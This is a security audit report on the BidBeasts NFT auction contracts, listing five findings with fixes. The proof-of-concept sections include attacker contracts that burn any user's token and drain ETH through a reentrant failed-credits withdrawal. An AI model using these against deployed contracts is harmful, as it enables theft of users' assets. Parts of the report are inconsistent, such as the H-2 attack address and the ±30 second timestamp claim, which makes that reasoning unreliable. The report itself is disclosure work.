Bid Beasts Audit Report

Version 1.0

ChargingFoxSec

October 2, 2025

Bid Beasts Audit Report

ChargingFoxSec

October 2, 2025

Prepared by:
ChargingFoxSec

Lead Auditor:
ChargingFoxSec

Table of Contents

Protocol Summary

This smart contract implements a basic auction-based NFT marketplace for the `BidBeasts` ERC721 token. It enables NFT owners to list their tokens for auction, accept bids from participants, and settle auctions with a platform fee mechanism.

The project was developed using Solidity, OpenZeppelin libraries, and is designed for deployment on Ethereum-compatible networks.

The flow is simple:

1. **Listing**:
    - NFT owners call `listNFT(tokenId, minPrice)` to list their token.
    - The NFT is transferred from the seller to the marketplace contract.
2. **Bidding**:
    - Users call `placeBid(tokenId)` and send ETH to place a bid.
    - New bids must be higher than the previous bid.
    - Previous bidders are refunded automatically.
3. **Auction Completion**:
    - After 3 days, anyone can call `endAuction(tokenId)` to finalize the auction.
    - If the highest bid meets or exceeds the minimum price:
        - NFT is transferred to the winning bidder.
        - Seller receives payment minus a 5% marketplace fee.
    - If no valid bids were made:
        - NFT is returned to the original seller.
4. **Fee Withdrawal**:
    - Contract owner can withdraw accumulated fees using `withdrawFee()`.

The contract also supports:

- **Minimum price enforcement** for listings.
- **Minimum bid enforcement** for bidders.
- **Auction deadline** of exactly 3 days.
- **Automatic refunding** of previous highest bidder.
- **Only owner access** for withdrawing platform fees.

Disclaimer

The ChargingFoxSec team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

Scope

```
BidBeasts_NFT_ERC721.sol
BidBeastsNFTMarketPlace.sol
```

Roles

- **Seller (NFT Owner)**
  - Owns a `BidBeasts` NFT and lists it for auction.
  - Receives payment if the auction is successful.
- **Bidder (Buyer)**
  - Places ETH bids on active auctions.
  - Receives the NFT if they win the auction.
- **Contract Owner (Platform Admin)**
  - Deployed the marketplace contract.
  - Can withdraw accumulated platform fees.

Executive Summary

Issues found

severity	number
High	2
Medium	1
Low	1
Informational	1
total	5

Findings

High

[H-1] Unrestricted NFT Burning by Any Address

Description

- The `burn()` function is designed to allow destruction of NFT tokens in the BidBeasts collection
- Currently the function lacks any access control, allowing any address to burn any existing token without being the owner or having approval

```
function burn(uint256 _tokenId) public {
@>      _burn(_tokenId);
        emit BidBeastsBurn(msg.sender, _tokenId);
}
```

Risk

Likelihood:HIGH

- Any external address can call the burn function at any time
- No ownership or approval checks are performed before burning

Impact:HIGH

- Malicious actors can destroy any NFT in the collection without permission
- Complete loss of NFT assets for legitimate holders
- Potential collapse of the entire NFT ecosystem due to lack of trust

Proof of Concept

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

interface IBidBeasts {
    function burn(uint256 _tokenId) external;
}

```

```
contract AttackContract {
    IBidBeasts public target;

    constructor(address _target) {
        target = IBidBeasts(_target);
    }

    // call the target function burn()
    function attack(uint256 tokenId) external {
        target.burn(tokenId);
    }
}
```

Recommended Mitigation

```
function burn(uint256 _tokenId) public {
+    address owner = ownerOf(_tokenId);
+    require(msg.sender == owner || isApprovedForAll(owner, msg.sender)
    || getApproved(_tokenId) == msg.sender,
+        "BidBeasts: caller is not token owner or approved");
     _burn(_tokenId);
     emit BidBeastsBurn(msg.sender, _tokenId);
 }
```

[H-2] Reentrancy in Failed Credits Withdrawal

Description

- The `withdrawAllFailedCredits` function is designed to allow users to withdraw failed transfer credits that could not be sent directly
- The function has a critical parameter/state variable mismatch where it uses `_receiver` for checking balance but `msg.sender` for state updates and transfers, enabling a reentrancy attack

```
function withdrawAllFailedCredits(address _receiver) external {
        uint256 amount = failedTransferCredits[_receiver];
        require(amount > 0, "No credits to withdraw");

@>        failedTransferCredits[msg.sender] = 0;

@>       (bool success, ) = payable(msg.sender).call{value: amount}("")
    ;
        require(success, "Withdraw failed");
    }
```

Risk

Likelihood:HIGH

- Any malicious contract can exploit this by calling the function repeatedly during the ETH transfer callback
- The parameter/variable mismatch makes this trivially exploitable

Impact:HIGH

- Complete drainage of contract's ETH balance is possible
- All legitimate users' failed transfer credits could be stolen

Proof of Concept

- step1:use a contract to buy an NFT via the buyNowPrice logic, and send more ETH than the buyNowPrice. Make sure this contract does not have a receive() or fallback() function. When the market tries to return the excess ETH, the transfer will fail, and the contract's address will be recorded in the failedTransferCredits mapping

```
contract FailTransferContract {
    BidBeastsNFTMarket public market;
    BidBeasts public nft;

    constructor(address _market, address _nft) {
        market = BidBeastsNFTMarket(_market);
        nft = BidBeasts(_nft);
    }

    function createFailedCredit(uint256 tokenId) external payable {
        BidBeastsNFTMarket.Listing memory listing = market.getListing(
            tokenId);
        require(listing.buyNowPrice > 0, "No buy now price set");

    // Send more ETH than the buyNowPrice, the excess ETH transfer will
         fail
    // Since the contract has no receive/fallback, the transfer fails
        and is recorded in failedTransferCredits
        market.placeBid{value: msg.value}(tokenId);
    }
}
```

- step2:use another contract to attack,and param _target should use the contract address in step1

```
contract AttackContract {
    BidBeastsNFTMarket target;

    constructor(address _target) {
        target = BidBeastsNFTMarket(_target);
    }

    // Trigger the attack
    function attack() external {
        target.withdrawAllFailedCredits(address(this));
    }

    // Reentrance point
    receive() external payable {
        if(address(target).balance >= 1 ether) {
            target.withdrawAllFailedCredits(address(this));
        }
    }
}
```

Recommended Mitigation

```
function withdrawAllFailedCredits(address _receiver) external {
    uint256 amount = failedTransferCredits[_receiver];
    require(amount > 0, "No credits to withdraw");

-   failedTransferCredits[msg.sender] = 0;
-   (bool success, ) = payable(msg.sender).call{value: amount}("");
+   failedTransferCredits[_receiver] = 0;
+   (bool success, ) = payable(_receiver).call{value: amount}("");
    require(success, "Withdraw failed");
}
```

Medium

[M-1]Incorrect Bid Increment Calculation

Description

- The `placeBid` function calculates the minimum required bid amount based on the previous bid and an increment percentage

- The calculation (previousBidAmount / 100) * (100 + S_MIN_BID_INCREMENT_PERCENTAGE) suffers from precision loss due to integer division, resulting in lower required bid amounts than intended

```
function placeBid(uint256 tokenId) external payable isListed(tokenId) {
    // ...existing code...
@>  requiredAmount = (previousBidAmount / 100) * (100 +
    S_MIN_BID_INCREMENT_PERCENTAGE);
    require(msg.value >= requiredAmount, "Bid not high enough");
    // ...existing code...
}
```

Risk

Likelihood: HIGH

- Occurs on every bid calculation where previousBidAmount is not a multiple of 100
- Integer division always rounds down in Solidity

Impact: MEDIUM

- Required bid increments will be lower than the intended 5%
- For a bid of 123 wei, next required bid would be 105 wei instead of 129 wei

Proof of Concept

```
contract BidTest {
    function testIncorrectBidCalculation() public pure {
        uint256 previousBid = 123;

        // Current calculation
        uint256 incorrect = (previousBid / 100) * 105; // = 105

        // Correct calculation
        uint256 correct = (previousBid * 105) / 100; // = 129

        assert(incorrect < correct); // Will pass, showing the issue
    }
}
```

Recommended Mitigation

```
function placeBid(uint256 tokenId) external payable isListed(tokenId) {
    // ...existing code...
-   requiredAmount = (previousBidAmount / 100) * (100 +
    S_MIN_BID_INCREMENT_PERCENTAGE);
+   requiredAmount = (previousBidAmount * (100 +
    S_MIN_BID_INCREMENT_PERCENTAGE)) / 100;
    require(msg.value >= requiredAmount, "Bid not high enough");
    // ...existing code...
}
```

Change the order of operations to perform multiplication before division to avoid precision loss in the bid increment calculation.

Low

[L-1]Block Timestamp Manipulation in Auction Settlement

Description

- The `settleAuction` function is designed to finalize NFT auctions after their designated end time has passed
- The function relies on `block.timestamp` for timing validation, which can be manipulated by miners within a ±30 second window, potentially allowing unfair auction settlements

```
function settleAuction(uint256 tokenId) external isListed(tokenId) {
    Listing storage listing = listings[tokenId];
    require(listing.auctionEnd > 0, "Auction has not started (no bids)"
        );
@>  require(block.timestamp >= listing.auctionEnd, "Auction has not
    ended");
    require(
        bids[tokenId].amount >= listing.minPrice,
        "Highest bid did not meet min price"
    );

    _executeSale(tokenId);
}
```

Risk

Likelihood: LOW

- Miners can manipulate block timestamps by ±30 seconds on each block creation
- Time manipulation becomes profitable during high-value auction settlements

Impact: LOW

- Miners can front-run legitimate settlement transactions near auction end times
- Early settlements could prevent last-moment legitimate bids from being placed

Proof of Concept

```
contract TimestampManipulationTest {
    function demonstrateManipulation() public {
        // Current block
        uint256 currentTime = block.timestamp; // e.g. 1000

        // Auction end time
        uint256 auctionEnd = currentTime + 30; // 1030

        // Miner can set next block's timestamp to:
        // Previous block timestamp + 30s = 1030
        // Making auction immediately settleable

        // Other bidders expecting to have 30 seconds left
        // will be unable to place their bids
    }
}
```

Recommended Mitigation

```
contract BidBeastsNFTMarket {
    struct Listing {
        address seller;
        uint256 minPrice;
        uint256 buyNowPrice;
-       uint256 auctionEnd;
+       uint256 endBlock;      // Use block number instead of timestamp
        bool listed;
    }

    function settleAuction(uint256 tokenId) external isListed(tokenId)
        {
        Listing storage listing = listings[tokenId];
        require(listing.endBlock > 0, "Auction has not started (no bids
            )");
-       require(block.timestamp >= listing.auctionEnd, "Auction has not
     ended");
```

```
+       require(block.number >= listing.endBlock, "Auction has not
    ended");
        require(
            bids[tokenId].amount >= listing.minPrice,
            "Highest bid did not meet min price"
        );

        _executeSale(tokenId);
    }
}
```

Informational

[I-1]Value Name Misspelling

Description

- The code contains a spelling typo: the variable is named `CurrenTokenID` (missing a “t”)

```
@>  uint256 public CurrenTokenID;

    constructor() ERC721("Goddie_NFT", "GDNFT") {}

    function mint(address to) public onlyOwner returns (uint256) {
        uint256 _tokenId = CurrenTokenID;
        _safeMint(to, _tokenId);
        emit BidBeastsMinted(to, _tokenId);
        CurrenTokenID++;
        return _tokenId;
    }
```

Risk

Likelihood: LOW

- This is a simple typographical error introduced at development time.

Impact: INFO / NONE

- No functional impact on contract logic — the variable functions as intended.

Recommended Mitigation

```
-   uint256 public CurrenTokenID;
+   // Rename to fix typo for clarity before mainnet deployment:
+   uint256 public CurrentTokenID;
```